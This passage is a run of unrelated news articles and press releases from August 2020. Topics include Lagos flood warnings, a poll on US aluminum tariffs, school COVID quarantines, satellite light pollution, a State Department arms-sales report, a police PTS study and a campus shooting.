especially women and children are well equipped with adequate information in case of flood. There have been predictions of flooding in certain areas of Lagos State. So, the federal government wants us to go and sensitise people because we do not want to record any unfortunate incident, especially loss of lives and property. We want to empower people with information against losses. So far so good, we have assessed close to eight million people to be vulnerable to flood disaster in Lagos State. Four local government areas have been identified as highly probable flood prone areas, and about 13 are said to be probable, Mr Farinloye said. He said the highly probable areas to be affected by flood were Ibeju-Lekki, Lagos Mainland, Ikorodu and Mushin. The acting coordinator said that six of the probable areas had already experienced devastating flooding in 2020 already. He said the unbanned release of excess water would affect from 30 to 33 areas of Lagos State mainly in Ikorodu and Kosofe areas. He said the agency has carried out vulnerability assessment with certain agencies at the state level. He said that the agency decided to kick off the campaign from Mushin because wastes from Oshodi axis, Surulere, and other parts come to the canal in Mushin and, thereafter, move to Ijora Badia and Apapa. READ ALSO: Mr Farinloye noted that the canal in Mushin had been overwhelmed, which he said could increase the flood risk. People should know we have this danger at hand and they should know what to do when these things happen. Before heavy rain begins, there is the need to clear our drainage channels and that is why we are here to see the situation first hand. If at this time we have this challenge of water not being able to flow, definitely when rains come, the situation will escalate, he said. Mr Farinloye said that NEMA had been working with the relevant state agencies, local governments, community development associations, non-governmental organisations and other groups to mitigate the effect of flooding, especially in clearing canals. He said that from Mushin, the team would move to Ijora and Ikorodu for the same awareness and sensitisation campaigns to prevent flood disaster. The team moved round some streets and markets in Mushin area to sensitise people about the flood risk. (NAN) There have been several media reports suggesting that Chiranjeevi will be prepping up for the Telugu remake of Lucifer, soon after completing Acharya. The actor himself had announced the film with Saaho director Sujeeth. It was reported that the director is currently busy tweaking the original script to appease the Telugu audience. Well now, we hear that Chiru has kept the project on hold for reasons best known to him. It is said that the Megastar has decided to take up the remake of Thala Ajith's Tamil movie Vedalam before Lucifer. If rumours are to be believed, Billa (Telugu) director Meher Ramesh will helm the project, which will be bankrolled jointly by Anil Sunkara and Ram Charan under their banners 14 Reels Plus and Konidela Production Company. The highly-anticipated film will be likely announced on Chiranjeevi's birthday which falls on August 22. However, there is no official confirmation and hence we will have to wait for the actor's 65th birthday to know the reality behind the ongoing rumour. For the unversed, Ajith's Vedalam released in 2015 was a commercial success at the box-office. Written and directed by Siva, the movie features an ensemble cast including Lakshmi Menon, Shruti Haasan, Soori, Rahul Dev and Kabir Duhan Singh. On the other hand, Lucifer directed by Prithviraj Sukumar is a political thriller that stars Mohanlal in the lead role. Bankrolled by Antony Perumbavoor under Aashirvad Cinemas, the film also includes Manju Warrier, Tovino Thomas, Prithviraj Sukumaran, Vivek Oberoi and other in pivotal roles. Meanwhile, Chiranjeevi is gearing up to start shooting the remaining portion of Acharya. Helmed by Koratala Siva, the movie is slated to be released on January 8, 2021. The movie which marks the 152nd venture of the Megastar will have him romancing south diva Kajal Aggarwal. Acharya Promises High Octane-Action Sequences, Chiranjeevi-Ram Charan To Lock Horns In The Thriller Tamannaah Bhatia To Do A Cameo In Chiranjeevi-Ram Charan's Acharya? OTTAWA - A new opinion survey suggests Donald Trump's recent decision to slap a tariff on Canadian raw aluminum is garnering poor reviews on both sides of the border. Hey there, time traveller! This article was published 11/8/2020 (526 days ago), so information in it may no longer be current. U.S. President Donald Trump walks on the South Lawn of the White House after arriving on Marine One in Washington, D.C., U.S., on Sunday, Aug. 9, 2020. A new opinion survey suggests Donald Trump's recent decision to slap a tariff on Canadian aluminum is garnering poor reviews on both sides of the border. THE CANADIAN PRESS-Stefani Reynolds/Pool/ABACAPRESS.COM OTTAWA - A new opinion survey suggests Donald Trump's recent decision to slap a tariff on Canadian raw aluminum is garnering poor reviews on both sides of the border. In a web survey conducted by polling firm Leger and the Association for Canadian Studies, 58 per cent of American respondents said they disagreed with the 10 per cent import tax. In what comes as less of a surprise, 90 per cent of Canadians who took part in the survey objected to the White House's tariff. The survey was conducted Aug. 7 to 9 among 1,513 Canadians and 1,003 Americans, 18 or older, who were recruited from an online panel. Since polls created from internet panels are not random samples, the survey cannot be assigned a margin of error. The polling firm says that using data from the 2016 census, results were weighted according to age, gender, language spoken, region, level of education and presence of children in the household in order to ensure a representative sample of the population. Trump announced last week he was reimposing a tax on Canadian raw aluminum because Canada had broken a promise not to flood the U.S. market with the product. Deputy Prime Minister Chrystia Freeland vehemently denied the dumping claim and said Canada would soon retaliate with $3.6 billion in tariffs on American items that contain aluminum. "In imposing these tariffs, the United States has taken the absurd decision to harm its own people at a time its economy is suffering the deepest crisis since the Great Depression," she said. "Any American who buys a can of beer or a soda or a car or a bike will suffer." The comments might help explain why 28 per cent of Americans surveyed said they somewhat disagreed with Trump's move, while 30 per cent said they totally disagreed. Jean-Marc Leger, president of the survey firm, suggested the numbers reflect a lack of a clear rationale for the action by the mercurial U.S. president. "Why the 10 per cent? Why at this moment?" he said. "It looks like another impulsive decision." Sixty-nine per cent of Canadians who participated in the survey said they completely disagreed with the tariff, with 21 per cent somewhat opposed. Seventy per cent of Canadian respondents said Ottawa should fight back by imposing tariffs of its own on U.S. products. The trade spat shattered the brief harmony between Ottawa and Washington that followed a successful renegotiation of the North American free trade agreement. While nearly two-thirds of Americans told Leger that Canada and the U.S. benefit equally from their commercial exchanges, only 38 per cent of Canadians supported the notion. Trump has also proposed banning popular video-sharing platform TikTok on national security grounds due to its corporate ties to China. Forty-six per cent of American respondents supported the idea. Fifty-four per cent of Canadians said they believed the Chinese government was using TikTok to spy on people. But only about one-third said Ottawa should outlaw the platform. This report by The Canadian Press was first published Aug. 11, 2020. India's supply of antiviral drug remdesivir and generic equivalents is stabilising after shortages of the vital Covid-19 medicine at hospitals, according to a top executive at one of the country's big drugmakers, Cipla Ltd. Remdesivir, made by US-based Gilead Sciences Inc, has been in high demand globally, and a handful of companies including Cipla are authorised to make and sell generic versions in 127 developing nations. Cipla's launch of remdesivir in late June, along with subsequent launches by others, has helped ease supply bottlenecks in India, Cipla's Global ... Just one week after schools reopened in a northern Georgia school district, more than 800 of its students and staff have been told to quarantine. Last week, the Cherokee County School District, about 44 miles north of Atlanta, told 20 people to quarantine when one 2nd-grader tested positive for the virus after the first day of school. That number grew fast, and as of Monday night, the school has ordered 826 students to quarantine due to possible exposure, according to a list the district created. The 42,000-student district lists about 40 cases in 19 elementary, middle and high schools, but it is unclear if all of those represent positive coronavirus tests or if some are of people who were just exposed to infected students or staff. Video: COVID-19 cases appear among students, staff in reopened school districts The district routinely does contact tracing to determine who may have been exposed to people who test positive for the virus, according to NBC affiliate WXIA in Atlanta. A spokeswoman said in a statement Tuesday that the district anticipated ahead of schools reopening that "positive tests among students and staff could occur." That "is why we put a system into place to quickly contact trace, mandate quarantines, notify parents and report cases and quarantines to the entire community," spokeswoman Barbara Jacoby said. "We are not hesitating to quarantine students and staff who have had possible exposure to a student or staff member who has tested positive." Cherokee County schools recommend but don't require students or staff to wear masks. After a viral photo last week captured some students without masks standing shoulder to shoulder, Superintendent Brian V. Hightower wrote a letter to parents saying the image failed to show that many students in the district wear face coverings. "The senior group photos taken outside before school on several of our campuses raised concerns that those students might not be aware of the importance of masks," Hightower wrote. "Upon investigation, we learned many wear masks routinely, but we must continue to remind all students of the importance of masks when you cannot social distance." Story continues Since the return of in-person classes in Cherokee County, Ga., positive coronavirus cases have forced students and faculty to quarantine. (WXIA) Hightower also said in his note to families last week that he isnt sure how long the district will be able to keep schools open in the face of the pandemic. The answer will depend on all of us as a community, he wrote. Georgia Gov. Brian Kemp said in a press conference Monday that he is happy with school reopenings across the state. I think quite honestly this week went real well other than a couple of" viral photos, the governor said. Hilary Porterfield, a parent of a Cherokee school student, told NBC News last week she has been frustrated by how the coronavirus pandemic has been handled. She said the positive cases should serve as a red flag for the district. it's just a matter of time before it's out of control, she said. AUBURN, Ala., Aug. 11, 2020 /PRNewswire/ -- Chicken Salad Chick, the nation's only southern inspired, fast casual chicken salad restaurant concept, announced today it will be expanding in Alabama with its newest restaurant in Gulf Shores. Located at 160 Cotton Creek Drive, the Gulf Shores restaurant, which marks the brand's 27th restaurant in the state and fifth location for the brand in the Mobile Bay area, will celebrate its grand opening on August 25 and will offer free chicken salad for a year to the first 100 guests. Those awarded will be properly distanced and will receive a designated return time upon arrival to spread out the number of guests at the restaurant throughout the day. Chicken Salad Chick is closely following Alabama's state and local guidelines for COVID-19 procedures and will open the Gulf Shores restaurant at limited capacity with social distancing measures in place. All employees will be wearing masks and gloves, as well as practicing proper handwashing and food safety protocol, and all guests will be required to wear masks until seated for dining. During grand opening week, guests will experience the southern hospitality that Chicken Salad Chick is known for, with modified giveaways and specials that include: Tuesday, August 25 Free Chicken Salad for a Year The first 100 guests will receive one large Quick Chick of chicken salad per month for an entire year, with one of those lucky guests randomly selected to win one large Quick Chick of chicken salad per week.* Any guest not part of the first 100 in line can make an in-store purchase and enter for a chance to win free chicken salad for a year.** Free Chicken Salad for a Year The first 100 guests will receive one large Quick Chick of chicken salad per month for an entire year, with one of those lucky guests randomly selected to win one large Quick Chick of chicken salad per week.* Any guest not part of the first 100 in line can make an in-store purchase and enter for a chance to win free chicken salad for a year.** Wednesday, August 26 The first 100 guests to purchase The Chick will receive a free Chick Special redeemable on the next visit. The first 100 guests to purchase The Chick will receive a free Chick Special redeemable on the next visit. Thursday, August 27 The first 100 guests to purchase a Chick Special will receive a free scoop of Classic Carol. The first 100 guests to purchase a Chick Special will receive a free scoop of Classic Carol. Friday, August 28 The first 100 guests to purchase a Chick Trio will receive a free Chick tumbler. The first 100 guests to purchase a Chick Trio will receive a free Chick tumbler. Saturday, August 29 The first 50 guests to purchase two large Quick Chicks will receive a free large Chick cooler. The Gulf Shores restaurant is owned and operated by multi-unit franchise owner Misty Whitehead, alongside her husband and co-owner, Peter, of Bayside Jubilee, LLC. Whitehead opened her first Chicken Salad Chick in Mobile Hillcrest in 2013 and has since opened two additional restaurants in the Mobile Bay area, one near University of South Alabama and the other in Daphne. This past December, she also added a branded location downtown in Government Plaza. The Gulf Shores restaurant marks Whitehead's first Chicken Salad Chick opening with husband Peter serving as co-owner. The duo currently has plans to open an additional restaurant in the area and is open to future opportunities to grow Chicken Salad Chick's presence throughout the market. Over the past seven years, Whitehead has cultivated lasting relationships with residents in the communities she serves. In addition to her charitable work with the Ronald McDonald House and local-area schools, she has used her position as a restaurant owner to make a significant impact during the COVID-19 closures. With the help and support of her area manager, Ali Hughes, as well as the Mobile and Daphne teams, Whitehead donated more than 3,400 meals to local first responders, hospitals, cancer centers and food pantries. "In times of uncertainty, it's important for communities to band together and lend a helping hand to those in need and I wanted to make sure we did our part," said Whitehead. "Providing meals to residents throughout the greater Mobile area is a way to say 'thank you' for all the joy they've given me over the years. Peter and I are thrilled to be opening in Gulf Shores and look forward to providing the community we love with another location to enjoy a fresh, flavorful meal with family and friends." Chicken Salad Chick in Gulf Shores will be open Monday Saturday from 10a.m. 7p.m. For more information, visit www.chickensaladchick.com. Follow Chicken Salad Chick on Facebook, Twitter and Instagram for the latest news and trends. *Guests should arrive between 7-10am to get checked in, while maintaining social distancing. The first 100 guests will be assigned a number and designated return time between 9:45-11:15am. Upon return, guests will make a purchase of "The Chick" or anything of greater value and scan the code '1st 100 Spot' on the CravingCredits app to officially secure your spot. If you are late, or miss return time, your spot will be awarded to next in-line. Guests much be 16 years or older, redemption begins 8/31. **Eligible winners must be 16 years or older and are required to download the Craving Credits app. 10 winners will be drawn at the end of the day. Redemption will start 8/31. For more information on giveaways and specials, visit https://www.facebook.com/ChickenSaladChickGulfShoresAL/. About Chicken Salad Chick Founded by Stacy Brown in Auburn, Alabama, in 2008, Chicken Salad Chick serves full-flavored, Southern-style chicken salad made from scratch and served from the heart. With more than a dozen original chicken salad flavors as well as fresh side salads, gourmet soups, signature sandwiches and delicious desserts, Chicken Salad Chick's robust menu is a perfect fit for any guest. Today, under the leadership of Scott Deviney and the Chicken Salad Chick team, the brand has more than 165 restaurants in 17 states and is continuing its rapid expansion with both franchise and company locations. Chicken Salad Chick has received numerous accolades including rankings in Franchise Times' Fast & Serious and Fast Casual.com's top Movers and Shakers for the third consecutive year, QSR's Best Franchise Deals for the second consecutive year and Franchise Business Review's Top Food Franchises in 2020. See www.chickensaladchick.com for additional information. Contact: Nikki Rode Fish Consulting 954-893-9150 [email protected] SOURCE Chicken Salad Chick Related Links http://www.chickensaladchick.com (Alliance News) - InterContinental Hotels Group PLC on Tuesday said its swung to a loss in the first half of 2020 as revenue plummeted during the Covid-19 pandemic and its associated lockdowns. IHG reported a pretax loss of USD275 million for the six months ended June 30, swinging from a USD375 million profit a year before, as revenue dropped 45% to USD1.25 billion from USD2.28 billion. The company explained that its loss was "driven predominantly by materially lower fee revenues, as well as losses in the owned, leased and managed lease estate, coupled with a USD99 million movement in System Fund contribution to a USD52 million deficit and a USD240 million net increase in operating exceptional charges." Revenue from reportable segments, which excludes System Fund revenue and reimbursement costs, fell 52% to USD488 million, including a 50% drop in reportable segments revenue in the Americas and a 60% drop in Europe, the Middle East, Africa & Asia to USD134 million. Greater China revenue fell 73% to USD74 million. Revenue per available room was down 52% in the six-month period, and was down 75% in the second quarter as occupancy at comparable hotels dropped to 25%. July comparable revPAR is forecast to be down by around 58% on a year before, and occupancy levels in comparable open hotels improved to approximately 45%. Still, 317 hotels or 5% of its estate was closed at July end. No interim dividend was declared, after IHG paid 39.9 US cents a year before. Chief Executive Keith Barr said: "The impact of this crisis on our industry cannot be underestimated, but we are seeing some very early signs of improvement as restrictions ease and traveller confidence returns. Whilst the near-term outlook remains uncertain and the time period for market recovery is unknown, we are well positioned with preferred brands in the largest markets and segments, a leading loyalty platform and one of the most resilient business models in the industry. This gives us confidence in our ability to meet the needs of our guests and owners, and to emerge strongly when markets recover." Separately, the company announced the retirement of Non-Executive Director Luke Mayhew after nine years on the board, effective December 18. IHG has appointed Graham Allan, chair of private company Bata Footwear and of Nando's Restaurants, as an independent non-executive director. The appointment is effective from September 1. From 2003 to 2012, Allan was president & CEO of Yum Restaurants International, leading development of global brands KFC, Taco Bell, And Pizza hut in over 120 international markets. Shares in IHG were up 3.0% at 4,122.00p in London on Tuesday morning. By Anna Farley; annafarley@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. "We don't yet have any kind of industrywide guidelines," said Michele Bannister, a planetary astronomer at the University of Canterbury in New Zealand. "We don't have an industry body that's producing good corporate citizenship on the part of all of these enthusiastic companies that want to launch, and we don't have any regulatory setup in place that's providing clear guidelines back to the industry." She added, "To me, honestly, it feels like putting a bunch of planes up and then not having air traffic control." A Falcon 9 rocket lifts off, carrying 60 Starlink satellites into orbit. Since the first group of Starlink satellites launched in May 2019, many skywatchers have lamented their bright reflected glare. The light pollution is particularly pronounced when the satellites are freshly deployed and headed toward their operational orbits. At this point, they are perfectly positioned to catch sunlight at dawn and dusk, scuttling astrophotos and telescope observations. Starlink must be replenished constantly with new satellites, so these trails will be an ongoing problem. "Most ground-based observatories actually start in twilight," said Julien H. Girard, a support scientist at the Space Telescope Science Institute in Baltimore. "We start taking data even when the sky is not completely dark, especially in the near-infrared and infrared wavelengths." Loading The satellites may create the most problems for wide-field observatories that survey expansive regions of the night sky at once. The motion of satellites through the frame can obstruct observational targets or overwhelm them with light. Astronomers can use software to remove satellite trails to some extent, but that may not completely fix the images. "There's no doubt that the astronomical community can still do science with the presence of those constellations, but it's a burden," Girard said. So far, astronomers have put most of their attention on Starlink because SpaceX was the first company to launch big batches of satellites. OneWeb's constellation poses a different set of problems for radio astronomers because of the altitude of its orbit. Its future has been uncertain since it declared bankruptcy and began acquisition talks. Loading But now that Amazon has the FCC's approval, the Starlink satellites will have company both in orbit and in the discussion about the effects of these networks on astronomy. "Kuiper would easily have as much of an impact on both optical and radio astronomy as other satellite constellations," said Jeff Hall, director of the Lowell Observatory in Arizona and chairman of the American Astronomical Society's Committee on Light Pollution. The Amazon constellation will have far fewer satellites compared with Starlink, but its array will be deployed into three orbits, all higher in altitude than SpaceX's network. "Some of those higher orbits are looking like they are actually going to be more problematic for astronomical imaging, because they are going to be, basically, visible for longer," Bannister said, although it is not clear how the light pollution from these constellations will compare. "The companies don't publish what reflectance their satellites are going to have, so it's hard to model," she said. As the quantity of satellites spirals upward, the risk of crashes does as well. Collisions between satellites add to hazardous orbital debris. While these concerns have been raised, there is no other obvious way to stop, or slow, the development of these megaconstellations. "One of the things that I think is most problematic is that there isn't any legal prevention, or legal protection, for the night skies," said Chris Newman, professor of space law and policy at Northumbria University in the United Kingdom. With hundreds of Starlink and OneWeb satellites already launched, and thousands more expected in the next few years, astronomers feel mounting pressure to find a workable compromise with the companies. Decisions made now may affect the sky for decades. For the moment, that means hashing out a vision of a safe and clear night sky that would rely on voluntary mechanisms. In response to the light pollution concerns, SpaceX is experimenting with dark coatings and sunshades for its Starlink satellites. Representatives from Amazon and SpaceX, as well as a consultant formerly with OneWeb, attended a recent workshop called Satellite Constellations 1, organised by the AAS and the National Science Foundation, according to Hall. A report summarising the results and recommendations of the workshop will be made public in a few weeks. But Amazon has already stated a desire to work with astronomers. "Reflectivity is a key consideration in our design and development process, and we're engaging with members of the astronomy community to better understand their concerns and identify steps we can take to minimise our impact," an Amazon spokesman said. "We'll have more to share as we release additional detail on our plans for the project." But many astronomers, and dark-sky advocates, are seeking a robust regulatory approach to these issues. "I think the only real way in which, going forward, this is going to develop, is if national regulators make it part of the licensing requirement that satellite companies putting constellations up take into account the needs of ground-based astronomy," Newman said. "I think that's very possible, and I don't think that would require too much accommodation by companies." Of course, the night sky is not only a resource for professional astronomers. Across generations and cultures, people have gazed up after sunset to seek solace, enchantment and perspective from the stars. Broadening internet access around the world has an obvious public benefit, but so does the preservation of clear skies and bright stars. "We're talking about changing something that is shared across the entire planet," Bannister said. "This is environmental impact," she added. "This is something we know how to discuss and regulate in all the other spheres of corporate activity. Why should this be any different?" T eachers, parents and children are overwhelmingly happy, excited and grateful at the prospect of returning to school in September after a difficult lockdown, a top headteacher said today. David Benson, head of Kensington Aldridge Academy, said lockdown has been undeniably damaging and there is a real desire among teachers to make the reopening next month work. Mr Benson, whose school is next to the Grenfell Tower, said: I think its wrong to characterise students as being traumatised or lacking in confidence. The overwhelming majority are happy and excited to return. Parents and teachers trust the Covid safety measures in school. There is a desire to make it work. Its not being talked about enough. He said teachers are excited at the prospect of seeing their pupils on exam results days and added: Things like results day and September are really filling teachers with a sense of excitement after a difficult period. At the beginning of lockdown in March Kensington Aldridge Academy (KAA) gave 500 students laptops to help them work at home. But the school closure has been hard. Mr Benson said poorer children are less likely to have the space and encouragement to work at home. He added: Even if everything is perfect, online learning requires a very high level of independence and motivation which teenagers dont always have. The school is running summer holiday clubs funded with 20,000 from the John Lyons charity and the schools Intrepidus Trust. He said: Parents are grateful, kids are excited to come in. The school has introduced a timetable where children are kept in year group bubbles, and mostly stay in one classroom while teachers change rooms. Children in Years Seven and Eight will move back into the temporary school that was built for KAA students after the Grenfell Tower fire. Mr Benson called on exams watchdog Ofqual to delay next years GCSE and A-level exams by a few weeks to enable more teaching time. The All Progressives Congress (APC), ousted APC national chairman, Adams Oshiomhole, may have been gripped by fresh fears as the running mate of Pastor Ize-Iyamu, APC governorship candidate in Edo State in the September election, Gani Audu, is struggling with a case of certificate forgery. National Daily gathered that the certificate forgery scandal emanated from the detection of discrepancies in the documents Audu submitted to the Independent National Electoral Commission (INEC). The discrepancies were said to be detected in the academic qualifications and documents the deputy governorship candidate submitted to INEC. Apparently, the Action Democratic Party (ADP) is already at the Federal High Court, Abuja, asking the court to disqualify the APC deputy governorship candidate because of the detected discrepancies in his certificates. It was gathered that the ADP is demanding that the court declares the certificates submitted by Audu as forged, thus declaring him unfit to stand for the September 19 governorship election in Edo. It was highlighted that Gani Audu had sworn to an affidavit he presented to INEC indicating his name as Audu Abudu Ganiyu, but there were conflicting names on the other documents he submitted. A legal practitioner, Blessed Omonuwa, identified to have looked into the documents was said to have remarked that, While his name on the affidavit is Audu Abudu Ganiyu, in his voters card, his name is Audu Abdul Ganiyu; adding: in his APC membership card, his name appears as Gani Audu; the WASSCE/GCE certificate submitted bears Audu Ahudu Ganeyu. President Muhammadu Buhari had warned APC to avoid mistakes of Bayelsa, Zamfara and others. The United States State Departments Office of the Inspector General (OIG) has found the administration of President Donald Trump skirted laws regulating US arms sales to avoid notifying Congress and to evade concerns about civilian casualties in the war in Yemen and about human rights in Saudi Arabia. US Secretary of State Mike Pompeo issued an emergency certification in May 2019 to advance the sale of $8.1bn in weapons to Saudi Arabia and the United Arab Emirates without obtaining normal approvals from Congress, said the OIG. The Inspector General report (PDF), while finding that Secretary Pompeo did not break US law, concluded that the State Department did not adhere to longstanding practice under the 1976 Arms Export Control Act. The State Department did not fully assess risks and implement mitigation measures to reduce civilian casualties and legal concerns, the report said. Further, the Inspector General found that the State Department regularly approved arms transfers to Saudi Arabia and the United Arab Emirates that fell below legal thresholds requiring notification to Congress. These approvals included precision-guided-munition components that Congress had placed holds on but for which the law did not require notification below those thresholds, according to the OIG report. In addition, the State Department withheld significant information in the classified annex necessary to understand OIGs finding and recommendation. Saudi Arabias Crown Prince Mohammed bin Salman attends a meeting with US Secretary of State Mike Pompeo in Jeddah, Saudi Arabia on September 18, 2019 [File: Mandel Ngan/Pool via Reuters] Pompeos emergency certification had the effect of circumventing review by Congress of the sales. At the time, members of Congress were seeking to block the transfer of military equipment to Saudi Arabia and the UAE because of the civilian death toll from the US-backed air campaign in Yemen. Tens of thousands of Yemenis, many of them civilians, have been killed by the Saudi-UAE air strikes often with American-made weapons, targeting information and aerial refuelling support. The Saudi-UAE air raids hit farms, schools, water supplies, and energy sources, triggering what the United Nations has described as the worlds worst humanitarian crisis. Pompeos use of an emergency declaration to clear the 2019 arms sales prompted a political backlash in the US Congress, with a number of Republicans joining Democrats to vote their disapproval in a rebuke to Trump. Ultimately, those votes proved nonbinding because most Republicans in the US Senate supported Trumps authority as president to sell the weapons without congressional approval. On Monday, a senior official at the State Department, speaking to reporters on the condition of anonymity, previewed of the OIGs internal probe claiming that the department had acted in complete accordance with the law. The investigation by the OIG found no wrongdoing in the administration exercise of the emergency authorities that are available under the arms export control act, the unnamed official told news agencies. In a statement on Monday, Representative Eliot Engel, chairman of the House Foreign Affairs Committee, said the unnamed State Department official was Assistant Secretary Clarke Cooper, who had been a subject of the probe. This obvious pre-spin of the findings reeks of an attempt to distract and mislead, Engel said, adding that he feared the classified annex to the report would be used to bury important or possibly incriminating information. In May, Trump had abruptly fired Steve Linick, the inspector general who led the probe and was investigating allegations that Pompeo and his wife misused State Department staff for personal errands. US State Department Inspector General Steve Linick (right) had provided documents to House and Senate Intelligence Committees in 2019 amid the Houses impeachment inquiry into President Donald Trumps pressure campaign on Ukraine [File: Jonathan Ernst/Reuters] Democrats in the House of Representatives are investigating whether Linicks removal may have been designed to quash the findings in todays report as well as the other internal investigations at the State Department. In an interview with House investigators, Linick defended himself from allegations by Trump officials that he had been a bad actor and said no reason was given for his sudden dismissal. Linick told Congress he was repeatedly bullied and pressured by State Department political officials not to look into the Saudi arms sales even though the investigation was requested by members of Congress. Linick testified that Pompeo declined to be interviewed about the subject and provided a written statement and testified that he still had questions about Pompeos role that he wanted to ask. When Linick was fired, he was replaced by Ambassador Stephen Akard, who had been a director of foreign missions. Akard served in the role for less than three months before resigning on August 5, just days before the release of the report. He left to go back home. This happens, Pompeo said in a news conference. I dont have anything more to add to that. NEW YORK, Aug. 10, 2020 /PRNewswire/ -- A combination of genetic and emotional differences may lead to post-traumatic stress (PTS) in police officers, a new study finds. Based on biological studies of officers in major cities, the study showed that the most significant PTS predictors are the tendency to startle at sudden sounds, early career displays of mental health symptoms (e.g., anxiety and depression), and certain genetic differences, including some known to influence a person's immune system. "If we can identify major risk factors that cause PTS and treat them before they have the chance to develop into full-blown post-traumatic stress disorder, or PTSD, we can improve the quality of life for police officers and perhaps other emergency responders, and better help them deal with the stressors of their work," says senior study author Charles Marmar, MD, the Lucius N. Littauer Professor of Psychiatry at NYU Grossman School of Medicine. Publishing online Aug. 10 in the journal Translational Psychiatry, the study authors employed a mathematical computer program developed by scientists at NYU Langone Health and the University of Minnesota. They used a combination of statistical analyses to test which of a large number of features linked by past studies to PTSD were the best at predicting its occurrence in police officers. Some of this winnowing that determined the best predictors was accomplished using machine learning, mathematical models trained with data to find patterns. These algorithms enabled researchers to track how experiences, situations, and characteristics may have interacted over time to lead to PTS symptoms, and represent the first use of such techniques in PTS research in police officers, the authors say. "Based on these techniques, our study identified specific causes of PTS, rather than possible links," says Marmar, also chair of the Department of Psychiatry at NYU Langone. He adds that the need for better information is urgent. An estimated eight out of every 100 people experience PTS in their lifetimes, according to the National Institute of Mental Health. Police officers are particularly vulnerable, he says, facing an average of three traumatic experiences for every sixth months of service. Common symptoms include nightmares, aggression, and distressing flashbacks of the traumatic event, which can lead to poor sleep, anxiety, depression, and increased risk of suicide. In the new study, the investigators analyzed data collected on 207 police officers from departments in New York City, San Francisco, Oakland, and San Jose who had PTS. All officers had experienced at least one life-threatening event during their first year on the job. Using the computer program, the investigators searched for patterns in 148 different characteristics previously thought to be involved in PTS. They mapped out 83 different possible combinations of factors, or pathways, which could have influenced the officers as they developed the condition. Then, they identified factors which appeared most frequently, and found that every pathway to PTS shared one of five causes. Besides the tendency to startle easily, severe distress following a traumatic experience, and a set of emotional health problems, such as anxiety and depression, played a key role in PTS. Genetic causes included mutations in the HDC gene, which is linked to problems in the immune system and mutations in the MR gene, which is involved in the body's immediate reaction to threats, known as the fight-or-flight response. If all five factors were eliminated, researchers say, the officers would not be expected to develop PTS. "Because the factors we identified are causal, they should be actionable as well," says lead study investigator Glenn Saxe, MD, a professor in NYU Langone's Department of Child and Adolescent Psychiatry. "Several of the causal factors we identified the HDC gene, the MR gene, and the startle response point to well-mapped nerve circuits, which should allow us to find drugs and behavioral therapies that might help. Down the road, we see the possibility of using information collected from patients about causal factors to select the interventions that would provide the most benefit to them." Saxe says other future interventions might target factors that may not cause PTS on their own, but frequently contribute to its development. For example, the study found that difficulty adjusting to work contributed to PTS development in 60 percent of the causal pathways. Therefore, a straightforward solution, like giving more support to new police officers who are having difficulty adjusting to police work, may reduce their risk of getting PTS, according to Saxe. Moving forward, the researchers plan to apply the same algorithm technique in a much larger group of traumatized adults and children, focusing on a more extensive set of characteristics and experiences. Funding for the study was provided by National Institute of Mental Health grant R01 MH056350 and Substance Abuse and Mental Health Services Administration grants U79 SM080049 and U79 SM080013. In addition to Marmar and Saxe, other NYU Langone researchers include Leah J. Morales, BS; and Isaac Galatzer-Levy, PhD. Other study authors are Sisi Ma, PhD; and Constantin Aliferis, MD PhD, at the University of Minnesota in Minneapolis. Media Inquiries Shira Polan 212-404-4279 [email protected] SOURCE NYU Langone Health Related Links http://www.med.nyu.edu A Southern Arkansas University student was killed and another student wounded in a shooting in a campus parking lot early Tuesday morning, the school said. Joshua Keshun Smith, 21, died in the shooting and the second student, whose name has not been released, is hospitalized in stable condition. Smith, a senior engineering student, is said to have gone to the parking lot with two other students shortly after midnight where they met a group 'not associated with the school'. The motive for the killing has not been released but police say it was not a random shooting. Joshua Keshun Smith, 21, died in the shooting. He was a senior engineering student Smith is said to have gone to the parking lot with two other students A Southern Arkansas University student was killed and another student wounded in an early Tuesday shooting in a campus parking lot, the school announced No suspect has been named as of Tuesday evening. 'At approximately 12:56 a.m., the University Police Department reported three students who live off-campus came onto campus and met individuals not believed to be associated with the Institution in the parking lot of the Donald W. Reynolds Campus Community Center,' the university said in a statement posted to Facebook. 'After a brief encounter, shots were fired,' in the parking lot of the campus in Magnolia, about 110 miles southeast of Little Rock, it added. 'This incident was not random, and at no time were other students, faculty, or staff endangered.' The campus was immediately locked down just hours before classes were set to resume for the new semester but has since been reopened. Smith, from Sparkman, Arkansas, was pronounced dead on the scene while the injured student was taken to the Magnolia Regional Medical Center. 'We are deeply saddened by the death of Josh Smith. Our prayers surround his family,' the university added. 'When tragedy happens, we all must come together to reassure our students and campus community of our ongoing commitment to their safety. Now, more than ever, we must find ways to safely comfort one another.' 'We are deeply saddened by the death of Josh Smith,' Southern Arkansas University said following the death of the 21-year-old student, pictured, early Tuesday morning No reason was given for why Smith, pictured, and the other two students met in the parking lot The statement released by South Arkansas University about the shooting on Tuesday 'Our thoughts and prayers are with Joshs family as we mourn the loss of his life, and we pray for our other students involved in this devastating event,' added SAU President Dr. Trey Berry. 'The safety of our campus family is always our primary concern. 'We appreciate the work of law enforcement officials who were able to quickly determine that this isolated act poses no broader threat to our campus community.' No reason was given for why the two groups were meeting and university police did not immediately return a phone call for comment. The university added that 'necessary steps have been taken to secure the campus' and that classes and late registration would continue this week as planned. The incident is still under investigation, a police spokesperson told DailyMail.com, and further information could not yet be released. Anyone who believes they have additional information about this incident is urged to contact University Police at 870-235-4100. Former Minister of Justice Martha Karua has echoed the voice of a majority of Kenyans demanding accountability and transparency for the billions of Covid-19 donor funds. In a press conference Monday, the Narc Kenya party leader said the State should show in great detail where the loans and funds received from donors were spent to fight the pandemic. We demand full disclosure, transparency and accountability for all Covid-19 funds, resources and equipment from all sources including loans, grants, donations and in-kind support both locally and internationally, Ms Karua said. CS Kagwe needs to make up his mind whether he wants to be the boss of Afya (Health) House or Mafya (Cartel), she added. Martha Karua also lamented the lack of arrests and prosecutions at the Health ministry and accused President Uhuru Kenyatta of failing to provide leadership in the fight against the virus. Not a single person has been prosecuted from the #MafyaHouseScandal of 2016 despite government promises to do so. President Kenyatta must address the endemic corruption in the health sector, including the adverse mention of people close to him, she said. Though predictable, President Kenyattas silence in the face of this repeat performance of the theft and abuse of healthcare monies by public servants is regrettable even as the government shifts the corona burden from the state to citizens through a chorus of personal responsibility and self-care, Ms Karua said. The former Gichugu MP said the government has collapsed. She called for BBI funds to be redirected to the coronavirus war. We can no longer to tie the destiny of tens of millions of Kenyans to the short term and selfish desires of heartless leadership. We are stating unequivocally that President Kenyattas private interests and 2022 